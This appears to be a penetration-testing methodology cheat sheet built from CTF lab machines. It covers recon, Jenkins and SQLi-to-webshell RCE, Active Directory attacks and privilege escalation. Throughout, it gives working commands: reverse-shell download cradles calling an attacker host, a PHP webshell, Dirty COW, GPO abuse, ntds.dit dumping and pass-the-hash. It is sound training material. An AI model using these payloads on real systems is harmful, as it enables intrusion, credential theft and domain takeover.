Skip to content

Methodology

Flow at a glance

  • 1) Recon baseline -> open ports and services (note clock skew for Kerberos)
  • 2) Branch: Web or AD quickstart based on exposure
  • 3) Validate creds (SMB/WinRM/FTP/MSSQL/SSH with Kerberos if needed)
  • 4) Pivot via creds, files, or ACLs (check hidden files & Recycle Bin)
  • 5) Escalate (Kerberoast, DCSync, AD CS, GPO abuse via WriteGPLink)
  • 6) Post-foothold triage and proof
  • 7) Evidence capture and timeline notes

Decision triggers

  • If LDAP/Kerberos/SMB exposed -> run AD quickstart
  • If HTTP/HTTPS exposed -> run web enum
  • If Jetty/Tomcat/Java app server found -> check for Jenkins, try /manager, /script, box-name-based paths
  • If Jetty + X-Powered-By: pac4j-jwt → check version for CVE-2026-29000 (< 6.3.3 = auth bypass). Read app.js for JWKS endpoint, claims schema, role values
  • If Jetty + multiple high ports (61616, 1883, 5672, 61613) → likely ActiveMQ, not just Jenkins. Check OpenWire version on 61616
  • If Jenkins found -> check /script (Groovy console), /manage, /credentials (often unauthenticated!)
  • If you get any creds -> validate (SMB/WinRM/FTP/MSSQL)
  • If KRB_AP_ERR_SKEW error -> sync time to DC (check nmap clock skew)
  • If NTLM disabled or SSH on Windows -> use Kerberos auth workflow
  • If AD present -> collect BloodHound to find pivot paths
  • If WriteGPLink permission found in BloodHound -> GPO abuse for SYSTEM
  • If vaults/files found -> crack and re-validate creds (KeePass .kdbx, Password Safe .psafe3)
  • If config files found -> check for base64-encoded passwords
  • If Windows shell obtained -> check hidden files, Recycle Bin, and Alternate Data Streams
  • If NTLM hash obtained -> pass-the-hash with impacket-psexec (hash = password)
  • If SeImpersonatePrivilege -> JuicyPotato/PrintSpoofer/RoguePotato for SYSTEM
  • If SeBackupPrivilege (Backup Operators) -> diskshadow + robocopy /b → ntds.dit → secretsdump → Domain Admin
  • If Linux box, no sudo, no SUID → run ss -tlnp to find internal services (127.0.0.1)
  • If internal web service found → SSH port forwarding (-L) to access from Kali
  • If web app has file path parameter → test path traversal AND command injection (;id, |id)
  • If reverse shell keeps dying → use --norc --noprofile or pivot to SSH key injection
  • If flat-file CMS (PHP + no DB port + data/themes/plugins dirs) → check WonderCMS, Grav, Bludit
  • If Whitelabel Error Page → Spring Boot → check /actuator endpoints (sessions, env, mappings)
  • If /actuator/sessions exposed → steal JSESSIONID for session hijacking (no password needed)
  • If web form passes input to shell command → command injection (check for whitespace filter → ${IFS} bypass)
  • If command injection but Bad fd number → server is sh/dash, use bash -c explicitly for /dev/tcp/
  • If Spring Boot JAR on box → unzip + grep -R password → application.properties often has DB creds
  • If sudo -l shows (root) /usr/bin/ssh * → GTFOBins: sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
  • If sudo -l shows a service daemon (nginx, apache2) → write custom config: sudo /usr/sbin/nginx -c /tmp/evil.conf with user root; root /; autoindex on; on alternate port → serves entire filesystem as root. Add dav_methods PUT; for file writes (SSH key injection). Sudo path must match exactly!
  • If ActiveMQ found (ports 61616/8161/1883/5672/61613) → check version via OpenWire banner on 61616. Version < 5.18.3 → CVE-2023-46604 unauthenticated RCE. Try admin:admin default creds on web console (8161)
  • If web app admin settings leak secrets/keys → try them as SSH passwords for service accounts (single-quote passwords with $$ to avoid shell expansion!)
  • If web app DB creds found → dump tables → crack hashes → try password reuse on system users via SSH
  • If SSH CA key readable (check group membership for deploy/automation groups) → sign cert as root principal → SSH as root
  • If Node.js app with code editor/sandbox → check About page for sandbox library. If vm2 → CVE-2023-30547 sandbox escape (versions <= 3.9.16)
  • If sandbox escape achieved → require('child_process') works on host. Use execSync for shell one-liners, spawnSync for direct args (no shell interpretation)
  • If spawnSync rev shell fails (Bad fd number or no connection) → it doesn't run through a shell. Use execSync or download+execute pattern (wget script, then bash it)
  • If sudo script compares secret with [[ $secret == $user_input ]] (unquoted RHS) → bash glob exploit: * matches anything, brute-force char by char with ${known}${char}*

Output files[]

  • Use nmap -oA nmap/<name> and ffuf -o ffuf/<name>.json for clean artifacts
  • Use cmd.log as the timeline spine; use out.log only for evidence snippets
  • Keep loot and evidence in loot/ and evidence/

Recon baseline

Command - ping <IP> or nc -vz <IP> 80 if ICMP is blocked - nmap -p- --min-rate=3000 -Pn -oN nmap/OpenPorts.txt <IP> - ports=$(awk '/^[0-9]+\/tcp/ {print $1}' nmap/OpenPorts.txt | cut -d/ -f1 | paste -sd,) - nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/ServicesVersions.txt <IP> - dig @<IP> any <domain> or attempt zone transfer if DNS is exposed

Why - Establish reachability and discover all TCP services - Run scripts and version detection only on open ports - Identify DNS records and potential zone transfers

Flags/Notes - -p-: all TCP ports - --min-rate: speed up scan - -Pn: skip host discovery - -oN: save normal output to file - -sS: SYN scan, -sC: default scripts, -sV: version detection

Service Version → Public Exploit (old-software boxes)

When: every banner is a specific old version (e.g. Apache 1.3.x, Sendmail 8.13.x, Samba 3.0.x, OpenSSH 3.x = a mid-2000s Debian/Ubuntu stack). This is an old-software RCE box — match versions to public exploits offline, don't chase web logic.

Command

searchsploit <product> <loose-version>   # apache 1.3.33 | sendmail 8.13 | samba 3.0.14
searchsploit -m <path>                   # mirror exploit into cwd
searchsploit -x <path>                   # READ it before running

Filter the noise — keep only Remote + unauthenticated: - Discard dos/ (DoS), local/ (needs a shell already), and version-mismatched hits. Watch the direction of the <: "OpenSSH < 6.6 SFTP" does NOT apply to OpenSSH 3.8 — 3.8 is older than the vulnerable range, not inside it.

KEY LESSON — searchsploit the box NAME / hostname / web title, not just the banners. Names are hints ~80% of the time. If banners give nothing clean, search the machine name. - Worked example (OffSec "ClamAV", host 0xbabe, web title "Ph33r"): banners (sendmail/samba/apache/openssh) → only DoS/local/mismatched. The box name was the tell — ClamAV has no own port; it hooks Sendmail (TCP 25) as a milter. searchsploit clamav → EDB 4761 (clamav-milter black-hole RCE, CVE-2007-4560) → root.

Read what the exploit DOES — not all take a cmd arg. EDB 4761 takes only the target IP and hardcodes a payload that appends 31337 stream tcp nowait root /bin/sh -i to /etc/inetd.conf and restarts inetd → then nc <ip> 31337 for a root shell. Always head/-x the exploit to learn what backdoor/port it leaves behind.

If it fails: look for an alternate old-service path — e.g. Samba 3.0.x username map script (CVE-2007-2447) when that directive is set.

Compiling OLD kernel exploits on modern Kali (pre-2012 boxes)

When: you match a local-root kernel exploit (searchsploit kernel 2.6.x) on an ancient box and need to compile it. Modern Kali fights you in THREE distinct ways — know which failure you're seeing.

Reading searchsploit ranges (the deduction): Linux Kernel 2.6.17 < 2.6.24.1 - vmsplice = affects 2.6.17 up to (not incl.) 2.6.24.1. Find the entry whose range brackets your uname -r — don't grep the literal version. i686 = 32-bit → x86 exploits, not x86-64. Dirty COW's 2.6.22 < 3.9 means 2.6.22 is the earliest affected → it applies.

Failure 1 — missing headers at compile time: - bits/libc-header-start.h → sudo apt install gcc-multilib (32-bit libs missing) - asm/page.h → header deleted; it only gave PAGE_SIZE. Replace include with #define PAGE_SIZE 4096. - crypt.h → moved to libxcrypt → sudo apt install libcrypt-dev, or drop the dependency (below).

Failure 2 — gcc-14 turned old warnings into errors (incompatible pointer type, implicit declarations):

gcc -m32 -static -fno-stack-protector \
  -Wno-error=incompatible-pointer-types -Wno-error=implicit-function-declaration \
  -Wno-error=int-conversion -Wno-error=implicit-int -o exploit exploit.c
Can't statically link -lcrypt? If crypt() only hashes a password, precompute + hardcode: openssl passwd -1 -salt firefart pwned → paste $1$firefart$... into the source, delete #include <crypt.h> and -lcrypt.

Failure 3 — compiles clean but SEGFAULTS on target before running. THE trap. Modern glibc stamps static binaries for GNU/Linux 3.2.0 (a minimum-kernel floor). On a 2.6.x kernel glibc aborts at startup → segfault before main(). Looks like a broken exploit; it's the toolchain.

file exploit          # if it says "for GNU/Linux 3.2.0" and target kernel < 3.2, this is your problem
# DIAGNOSE: static hello-world, run on target — if IT segfaults too, confirmed toolchain
# FIX: rebuild against musl (no kernel floor) in a 32-bit Alpine container:
docker run --rm -v "$PWD":/src -w /src i386/alpine sh -c \
  "apk add --no-cache gcc musl-dev && gcc -static -no-pie -pthread -o exploit_musl exploit.c"
-no-pie required — old kernels can't load static-PIE (Alpine's default).

Dirty COW (CVE-2016-5195) FireFart usage — EDB 40839:

./dirty_musl          # LET IT FINISH: wait for "Done! ... ptrace 0 / madvise 0"
su firefart           # Ctrl+C during the race (only "mmap:" shown) REVERTS /etc/passwd
cp /tmp/passwd.bak /etc/passwd   # restore when done

Root flag breakdown (Payday, Ubuntu 7.10 / 2.6.22): 1. uname -a → 2.6.22 i686; searchsploit kernel 2.6.22 → Dirty COW (2.6.22 < 3.9) + vmsplice (< 2.6.24.1) both match. 2. No gcc on target → compile on Kali. 40839: strip crypt.h, hardcode hash, drop -lcrypt. 3. Static build segfaults → file shows for GNU/Linux 3.2.0 → rebuild via i386/alpine musl, -no-pie. 4. Run to Done!, su firefart (pw pwned) → uid=0(root).

Foothold flag breakdown (ClamAV): 1. Full port scan → list services + exact versions (_full_tcp_nmap.txt). 2. searchsploit each banner → all noise (DoS/local/mismatch). 3. searchsploit clamav (box name) → clamav-milter blackhole RCE. 4. searchsploit -m 4761.pl; read payload → it plants an inetd backdoor on 31337. 5. perl 4761.pl <ip> (IP only) → nc -nv <ip> 31337 → uid=0(root). No privesc needed.

Web (80/443)

Command - ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://<IP>/FUZZ -e .php,.txt -t 20 - gobuster dir -u http://<host> -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -t 20

Why - Find hidden files, directories, and backups

Flags/Notes - -w: wordlist - -u: target URL with FUZZ - -e: extensions - -t: threads - If standard wordlists find nothing, try box-name-based guessing (e.g., "Jeeves" → /askjeeves/) - Check non-standard ports too (50000, 8080, 8443, etc.) - CMS identification: directory structure can fingerprint the CMS: - data/, messages/, plugins/, themes/ + PHP + no DB = WonderCMS (flat-file) - Check page source for author names → Google them → find CMS community pages - searchsploit <cms_name> once identified

SQLi → RCE via MySQL FILE Privilege (INTO OUTFILE webshell)

When: UNION SQLi on MySQL/MariaDB and the app schema has no useful creds (only business tables). Pivot from dumping data to abusing capability.

Flag breakdown: 1. Find the param — numeric ?id=/?cod= on a PHP app. Quote-test; use curl -s -o /dev/null -w "%{http_code} %{size_download}\n" as a boolean oracle (size diff = injectable). 2. Column count + reflected positions — ... UNION ALL SELECT 1,2,3,...-- -; route VERSION()/user() through reflected columns. A privileged DB user (DBadmin, root) is a hint. 3. Confirm FILE — ... UNION ALL SELECT 1,(SELECT group_concat(grantee,0x3a,privilege_type) FROM information_schema.user_privileges),3,..-- - → look for :FILE. 4. Hex the payload (avoids quote/URL hell):

echo -n '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' | xxd -p | tr -d '\n'
5. Write it — ... UNION ALL SELECT 1,unhex('3c3f...3f3e'),3,4,5,6,7 INTO OUTFILE '/var/www/html/sh.php'-- - (use an invalid cod so only the injected row returns). 6. Trigger — curl "http://<IP>/sh.php?cmd=id" → www-data.

If it fails: - Blank page is normal (OUTFILE returns no rows) — verify by requesting the file, not the SQL response. - Can't create/write to file → wrong webroot or secure_file_priv set. Use LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf') to find DocumentRoot. - OUTFILE won't overwrite — change the filename.

Lesson: Once the app DB has no creds, don't keep mining it. FILE privilege turns SQLi straight into RCE — LOAD_FILE (read) + INTO OUTFILE (write webshell). (HTB Jarvis)

Linux Root via sudo systemctl (malicious unit)

When: sudo -l (as the current user) shows you can run /bin/systemctl (or a script that does) as root. Instant root.

Flag breakdown: 1. Write a unit you control:

# ~/root.service
[Unit]
Description=x
[Service]
Type=simple
ExecStart=/usr/bin/chmod u+s /bin/bash
[Install]
WantedBy=multi-user.target
2. sudo /bin/systemctl enable /home/<you>/root.service → symlinks into /etc/systemd/system 3. sudo /bin/systemctl start root.service → ExecStart runs as root 4. /bin/bash -p → SUID bash keeps euid=root → root shell; cat /root/root.txt

Critical gotcha: ExecStart must be an absolute path (/usr/bin/chmod, not chmod) — systemd errors "Executable path is not absolute".

Variants: payload can be a reverse shell or cp /bin/bash /tmp/rb; chmod +s /tmp/rb. If sudo systemctl status opens a pager, escape with !sh (GTFOBins).

Lesson: Any service manager runnable as root = root. (HTB Jarvis: www-data → sudo -u pepper simpler.py -p command injection ($(bash)) → pepper → sudo systemctl malicious unit → root.)

Jenkins Exploitation (Jetty/Java App Servers)

Command

# Check for Jenkins on common paths
for path in "askjeeves" "jenkins" "script" "manage" "j" "ci"; do
  curl -s -o /dev/null -w "$path: %{http_code}\n" "http://<IP>:<PORT>/$path/"
done

# If Jenkins dashboard found, check critical endpoints
for path in "script" "manage" "credentials" "systemInfo" "configure"; do
  curl -s -o /dev/null -w "$path: %{http_code}\n" "http://<IP>:<PORT>/<jenkins_path>/$path"
done

Why - Jenkins is often unauthenticated and has a built-in Groovy Script Console = instant RCE - Jetty (HTTP server) commonly hosts Jenkins

RCE via Script Console (/script)

# Execute OS commands (Windows)
def cmd = "cmd.exe /c whoami"
def process = cmd.execute()
println process.text

# Execute OS commands (Linux)
def cmd = "id"
def process = cmd.execute()
println process.text

Reverse Shell via Script Console (Windows)

# Download cradle - downloads and executes a PowerShell reverse shell
# Requires: nc listener on Kali + Nishang shell hosted via python HTTP server
Thread.start {
  def cmd = """cmd.exe /c powershell IEX(New-Object Net.WebClient).downloadString('http://<KALI_IP>/shell.ps1')"""
  cmd.execute()
}

Flags/Notes - Thread.start { } prevents the Script Console page from hanging - Groovy .execute() runs strings as OS commands (like Python's os.system()) - println prints output to the Script Console result area - /script = Groovy console, /manage = admin panel, /credentials = stored creds - Always check Jenkins version (footer) for known CVEs

Nishang Reverse Shell (Download Cradle Pattern)

Command

# Step 1: Copy and prepare Nishang reverse shell
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 /tmp/shell.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress <KALI_IP> -Port <PORT>' >> /tmp/shell.ps1

# Step 2: Host it
cd /tmp && python3 -m http.server 80

# Step 3: Start listener
rlwrap nc -lvnp <PORT>

# Step 4: Trigger download from target (via Jenkins, RCE, etc.)
# Target runs: powershell IEX(New-Object Net.WebClient).downloadString('http://<KALI_IP>/shell.ps1')

Why - Nishang scripts define functions but don't call them - must append the invoke line - Download cradle avoids pasting 100+ lines into a web form - IEX (Invoke-Expression) downloads the script as text and executes it in memory

Flags/Notes - Nishang shells: /usr/share/nishang/Shells/ (pre-installed on Kali) - Invoke-PowerShellTcp.ps1 = TCP reverse shell (most reliable, use this first) - python3 -m http.server 80 = quick HTTP server to host payloads - rlwrap nc -lvnp = listener with arrow key/history support - Pattern: Host → Download → Execute in memory (nothing written to disk)

Active Directory quickstart

Command - smbclient -N -L //<host> - ldapsearch -x -H ldap://<host> -b "DC=...,DC=..." - GetNPUsers.py <realm>/ -no-pass -usersfile users.txt -dc-ip <IP> -format hashcat - mssqlclient.py <user>:<pass>@<host> - nxc winrm <IP> -u <user> -p <pass>

Why - Enumerate shares, LDAP objects, and Kerberos roastable users - Validate credentials and service access

Flags/Notes - -N: no auth, -L: list shares - -x: simple bind, -H: LDAP URI, -b: base DN - -no-pass: anonymous, -usersfile: user list, -format hashcat: crackable output - Use <domain>/<user> for AD auth in MSSQL; omit domain for SQL auth - nxc winrm -H for hashes, -k for Kerberos

Kerberos Authentication Workflow

Command

# Check for clock skew in nmap output (KRB_AP_ERR_SKEW = time sync issue)
# Sync time if DC has clock offset
sudo date --set="$(date -d '+X hours')"  # Replace X with offset from nmap

# Generate krb5.conf
nxc smb <dc-hostname> -u <user> -p '<pass>' --generate-krb5-file ./krb5.conf
sudo cp ./krb5.conf /etc/krb5.conf

# Get Ticket Granting Ticket (TGT)
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <IP>

# Export ticket path
export KRB5CCNAME=~/path/to/<user>.ccache

# Verify ticket
klist

# SSH with Kerberos (if Windows OpenSSH available)
ssh -K <user>@<dc-hostname>

# Use Kerberos with other tools
impacket-smbclient -k -no-pass <domain>/<user>@<dc-hostname>
evil-winrm -i <IP> -r <realm> -u <user> -k

Why - Kerberos auth required when NTLM is disabled or restricted - Enables passwordless auth after TGT acquisition - Required for Windows SSH with GSSAPI

Flags/Notes - KRB_AP_ERR_SKEW error = clock skew > 5 minutes; must sync time to DC - --generate-krb5-file creates proper realm/KDC configuration - TGT valid for ~10 hours (renewable) - -K flag enables GSSAPI (Kerberos) for SSH - KRB5CCNAME environment variable points to credential cache - Kerberos requires proper DNS resolution (/etc/hosts or DNS)

AD pivot chain

Command - bloodhound-python -c ALL -u <user> -p '<pass>' -d <domain> -ns <dc-ip> - net user <target> <NewPass123!> - net rpc password "<target>" '<NewPass123!>' -U "<domain>/<user>"%'<pass>' -S "<dc-ip>" - nxc ftp <dc-ip> -u <user> -p '<pass>' --ls - nxc ftp <dc-ip> -u <user> -p '<pass>' --get <file> - hashcat -m 5200 <vault>.psafe3 /usr/share/wordlists/rockyou.txt --force - ./targetedKerberoast.py -v -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps - hashcat <user>.hash /usr/share/wordlists/rockyou.txt --force - secretsdump.py '<domain>/<user>:<pass>@<dc-host>'

Why - Use ACLs and creds to pivot users - Pull sensitive files and crack vaults - Kerberoast/DCSync for higher-priv access

Flags/Notes - -c ALL: full BloodHound collection - net user on a DC resets domain user passwords (requires object control) - net rpc password performs SMB RPC reset when local syntax fails - --ls list and --get download in NetExec FTP - -m 5200: Password Safe v3 - --use-ldaps: use LDAPS 636 - DCSync returns NTLM hashes for domain accounts

MSSQL playbook

Command - impacket-mssqlclient <domain>/<user>:<pass>@<IP> - SELECT name FROM master.sys.databases; - xp_dirtree '\\<attacker_ip>\share' - xp_readerrorlog 0,1,N'Login failed'; - EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

Why - Enumerate DBs and coerce hashes - Mine logs for leaked creds - Enable command execution if needed

Flags/Notes - Use <domain>/ for AD auth; drop domain for SQL auth - xp_dirtree forces SMB auth to capture NetNTLMv2 - xp_readerrorlog indexes the error log and searches a term

Credential discovery pivot

Command - Check SQL error logs, LDAP description fields, and SMB shares - Crack NetNTLMv2 with hashcat mode 5600 - PTH with evil-winrm / nxc smb --hashes / psexec

Why - Convert passive intel into new authenticated access

Flags/Notes - Always re-validate creds on SMB/WinRM/FTP

KeePass Database Cracking

Command

# Extract hash from .kdbx file
keepass2john <file>.kdbx > keepass.hash

# Crack with john
john keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt

# Or crack with hashcat (mode 13400)
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt --force

# Open the database after cracking
kpcli --kdb <file>.kdbx
# Enter cracked master password when prompted

Why - KeePass databases (.kdbx) store passwords, hashes, SSH keys, and notes - Often found in user Documents folders on Windows targets - May contain admin credentials, NTLM hashes, or access to internal services

Flags/Notes - keepass2john extracts the master password hash in john-crackable format - hashcat mode 13400 = KeePass 1/2 databases - kpcli = command-line KeePass client (alternatives: KeePassXC GUI on Kali) - Check ALL entries - titles like "Backup stuff" or "DC Recovery" often hide the real prize - Entries may contain NTLM hashes (format: aad3b435b51404ee...:e0fb1fb85756c24...) instead of plaintext passwords - File transfer: Use impacket-smbserver share . -smb2support on Kali, then copy file \\<IP>\share\ from target

Pass-the-Hash (PTH)

Command

# SYSTEM shell via psexec (uploads service binary, runs as SYSTEM)
impacket-psexec administrator@<IP> -hashes aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

# WinRM shell (if WinRM is open, port 5985)
evil-winrm -i <IP> -u administrator -H '<NT_HASH>'

# SMB validation (quick check if hash works)
nxc smb <IP> -u administrator -H '<NT_HASH>'

# SMB with full LM:NT format
nxc smb <IP> -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:<NT_HASH>'

Why - Windows auth uses the NT hash internally - having the hash IS having the password - No need to crack the hash to plaintext - use it directly - impacket-psexec gives SYSTEM (not just admin) because it creates a Windows service

Flags/Notes - NTLM hash format: LM_HASH:NT_HASH - aad3b435b51404eeaad3b435b51404ee = empty LM hash (LM disabled, normal on modern Windows) - The NT hash is the part after the colon - that's what matters - psexec = SYSTEM shell (best for privesc), requires writable ADMIN$ share - evil-winrm = admin shell (interactive PowerShell), requires WinRM port 5985 - nxc = quick validation, no interactive shell - Common hash sources: KeePass databases, secretsdump, SAM dumps, Mimikatz

Command (PowerShell on Windows target)

# Verify WriteGPLink permission (check BloodHound first)
# User must have WriteGPLink over domain or OU

# Method 1: SharpGPOAbuse (Scheduled Task to add user to Domain Admins)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "AddDA" --Author DOMAIN\Administrator --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' <user> /add /domain" --GPOName "EvilGPO"

# Method 2: Manual GPO Creation + SharpGPOAbuse (Reverse Shell as SYSTEM)
# Step 1: Create new GPO
New-GPO -name "EvilGPO"

# Step 2: Link GPO to domain root (applies to ALL computers including DCs)
New-GPLink -Name "EvilGPO" -target "DC=domain,DC=tld"

# Step 3: Generate reverse shell payload (use revshells.com)
# PowerShell #3 (Base64), encode to base64

# Step 4: Inject malicious scheduled task with SharpGPOAbuse
.\SharpGPOAbuse.exe --addcomputertask --GPOName "EvilGPO" --Author "admin" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -e <base64_payload>"

# Step 5: Force GPO update (speeds up propagation)
gpupdate /force

# Wait 1-2 minutes for GPO to apply on DC
# Catch reverse shell on attacker machine (nc -lnvp <port>)

Why - WriteGPLink permission allows linking GPOs to Organizational Units - GPOs linked to domain root apply to ALL domain computers (including DCs) - Scheduled tasks in GPOs execute as NT AUTHORITY\SYSTEM - Direct path to Domain Admin or SYSTEM shell

Flags/Notes - Check BloodHound for WriteGPLink edges (not shown by whoami /all) - Group Policy Creator Owners membership does NOT automatically grant WriteGPLink - --AddComputerTask = creates immediate scheduled task (runs on next GPO refresh) - GPO refresh interval: 90-120 seconds (or use gpupdate /force) - Alternative targets: DC=domain,DC=tld (domain root) or OU=Domain Controllers,DC=domain,DC=tld - SharpGPOAbuse alternatives: PowerView's New-GPOImmediateTask, manual SYSVOL modification - Non-destructive option: Use bloodyAD or SharpGPOAbuse to add user to local Administrators instead of Domain Admins

Transfer SharpGPOAbuse.exe:

# On Kali
cd /path/to/tools
python3 -m http.server 8080

# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/SharpGPOAbuse.exe" -OutFile "SharpGPOAbuse.exe"

AD CS (ESC1) abuse

Command - certipy find -dc-ip <IP> -u <user> -p <pass> -enabled -vulnerable - certipy req -dc-ip <IP> -u <user> -p '<pass>' -ca <CA> -template <Template> -upn administrator@<domain> -dns <dc> -outfile administrator - certipy auth -pfx administrator.pfx -dc-ip <IP> - KRB5CCNAME=administrator.ccache evil-winrm -i <IP> -r <realm> -u administrator -k

Why - Identify misconfigured templates and authenticate as higher-priv users

Flags/Notes - -enabled: active templates only - -vulnerable: highlight ESC paths - -upn: spoofed principal - -k: Kerberos auth; KRB5CCNAME points to ticket cache

Post-foothold triage

Command - whoami /groups, whoami /priv, hostname, ipconfig /all - Check C:\Users\<user>\Desktop, C:\Users\Public, scheduled tasks/services - dir /s /b C:\Users\<user>\Documents - look for KeePass (.kdbx), config files, scripts

Why - Confirm privileges and identify quick-win loot

Flags/Notes - If lateral movement is needed, validate WinRM/SMB reachability to other hosts - Check whoami /priv immediately - SeImpersonatePrivilege = easy SYSTEM - Look for credential stores: KeePass (.kdbx), Password Safe (.psafe3), browser data

Windows Privilege Escalation - SeImpersonatePrivilege

Command

# Check for the privilege
whoami /priv
# Look for: SeImpersonatePrivilege    Enabled

# JuicyPotato (Windows 10 build ≤ 10586, Server 2016 and earlier)
# Transfer JuicyPotato.exe to target
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\path\to\nc.exe <KALI_IP> <PORT> -e cmd.exe" -t *

# PrintSpoofer (Windows 10, Server 2016/2019)
PrintSpoofer.exe -i -c cmd

# RoguePotato (when JuicyPotato is blocked)
RoguePotato.exe -r <KALI_IP> -e "C:\path\to\nc.exe <KALI_IP> <PORT> -e cmd.exe" -l 9999

Why - SeImpersonatePrivilege allows impersonating tokens from other processes - Service accounts (IIS, Jenkins, MSSQL) commonly have this privilege - Potato exploits abuse Windows COM/DCOM to get a SYSTEM token, then impersonate it

Flags/Notes - JuicyPotato = classic, most reliable on older Windows (needs valid CLSID) - PrintSpoofer = newer, simpler, works on Server 2019 (abuses print spooler) - RoguePotato = works when JuicyPotato is patched/blocked - Alternative path: If you find admin NTLM hash (KeePass, SAM dump), pass-the-hash with psexec may be faster than potato exploits - Common on: Jenkins, IIS, MSSQL service accounts

Windows Privilege Escalation - Backup Operators (SeBackupPrivilege)

Command

# Check for the privilege
whoami /priv
# Look for: SeBackupPrivilege    Enabled
#           SeRestorePrivilege   Enabled

# Check group membership
whoami /groups
# Look for: BUILTIN\Backup Operators

Why - Backup Operators group grants SeBackupPrivilege and SeRestorePrivilege - SeBackupPrivilege = read ANY file on the system, bypassing NTFS ACLs - The goal: extract ntds.dit (all domain hashes) + SYSTEM hive (decryption key) - ntds.dit is locked by Active Directory — can't just copy it. Need a shadow copy.

Step 1: Extract SAM + SYSTEM registry hives

reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
- Download to Kali via evil-winrm download or SMB - pypykatz registry --sam SAM SYSTEM → extracts LOCAL account hashes only - Note: Local admin hash ≠ domain admin hash. SAM only has local accounts.

Step 2: Create diskshadow script on Kali

# Create the script (MUST use unix2dos for Windows CRLF line endings!)
cat << 'EOF' > backup
set context persistent nowriters
add volume c: alias yourShadow
create
expose %yourShadow% e:
EOF
unix2dos backup

Flags/Notes (diskshadow script) - set context persistent nowriters = shadow copy persists after diskshadow exits, skip VSS writers (faster) - add volume c: alias yourShadow = target C: drive, name the shadow "yourShadow" - create = create the Volume Shadow Copy (frozen snapshot of the entire C: drive) - expose %yourShadow% e: = mount the shadow copy as drive E: so you can browse it - unix2dos is critical — diskshadow silently fails on Unix line endings (LF vs CRLF)

Step 3: Upload and run diskshadow

# Upload script via evil-winrm
upload backup C:\Users\Public\backup

# Run in script mode (interactive mode fails in evil-winrm — "The pipe has been ended")
diskshadow /s C:\Users\Public\backup

Flags/Notes - /s = script mode (reads commands from file instead of interactive prompt) - Interactive diskshadow fails in evil-winrm due to pipe limitations - Output shows: "Shadow copy ID", "Shadow copy set ID", "Number of shadow copies exposed: 1"

Step 4: Robocopy ntds.dit from shadow copy

robocopy /b e:\Windows\ntds . ntds.dit

Flags/Notes - /b = backup mode — this is the key flag that activates SeBackupPrivilege - Without /b, you get "Access Denied" even with the privilege enabled - e:\Windows\ntds = source path on the shadow copy (exposed as E:) - . = destination (current directory) - ntds.dit = specific file to copy (the AD database) - Regular copy and xcopy do NOT activate SeBackupPrivilege — only robocopy /b does

Step 5: Download and extract hashes

# Download ntds.dit and SYSTEM from target (evil-winrm)
download ntds.dit
download C:\Users\Public\SYSTEM

# Extract ALL domain hashes
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Flags/Notes - -ntds = path to ntds.dit file (the AD database) - -system = path to SYSTEM registry hive (contains the boot key for decryption) - LOCAL = offline extraction (not connecting to a remote host) - Output: Every domain user's NT hash in user:RID:LM:NT::: format - Includes: Administrator, krbtgt (Golden Ticket material), all domain users, machine accounts

Step 6: Pass-the-Hash as Domain Administrator

evil-winrm -i <IP> -u Administrator -H '<DOMAIN_ADMIN_NT_HASH>'

Flags/Notes - -H (uppercase) = NT hash authentication. Not -h (lowercase = help!) - Use the domain Administrator hash from ntds.dit, NOT the local admin hash from SAM - nxc smb <IP> -u Administrator -H '<HASH>' to validate first (look for (Pwn3d!))

Decision tree

whoami /priv shows SeBackupPrivilege?
  ├── YES → Backup Operators privesc path
  │    ├── reg save SAM + SYSTEM → pypykatz → local hashes only
  │    ├── diskshadow shadow copy → robocopy /b ntds.dit
  │    └── secretsdump ntds.dit + SYSTEM → ALL domain hashes → PtH as Admin
  └── NO → Check other privileges (SeImpersonate, etc.)

Common mistakes - Forgetting unix2dos on the diskshadow script (silent failure) - Using interactive diskshadow in evil-winrm (pipe error — use /s script mode) - Using copy instead of robocopy /b (Access Denied — SeBackupPrivilege not activated) - Confusing local admin hash (SAM) with domain admin hash (ntds.dit) - Using -h instead of -H for hash auth in evil-winrm/nxc (lowercase = help flag)

Learned from: HTB Baby (Backup Operators → shadow copy → ntds.dit → Domain Admin)


Windows Hidden File Enumeration

Command (PowerShell)

# View hidden files and directories
Get-ChildItem -Force
Get-ChildItem -Path C:\ -Force

# Recursively search for hidden files
Get-ChildItem -Path C:\Users\<user> -Recurse -Force -ErrorAction SilentlyContinue

# Filter only hidden files
Get-ChildItem -Recurse -Force | Where-Object {$_.Attributes -match "Hidden"}

# Check PowerShell command history (credentials often leak here!)
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Enumerate Recycle Bin (deleted files)
Get-ChildItem -Path C:\$RECYCLE.BIN -Recurse -Force

# Read metadata from $I files (shows original path/filename)
Format-Hex 'C:\$RECYCLE.BIN\{SID}\$I...'

# Common hidden file locations
Get-ChildItem -Force C:\Users\<user>\AppData\Roaming
Get-ChildItem -Force C:\Users\<user>\AppData\Local
Get-ChildItem -Force C:\Users\<user>\Desktop
Get-ChildItem -Force C:\ProgramData

Why - Hidden files often contain credentials, config files, or sensitive data - Recycle Bin may have deleted archives, scripts, or credential stores - PowerShell history frequently contains plaintext passwords

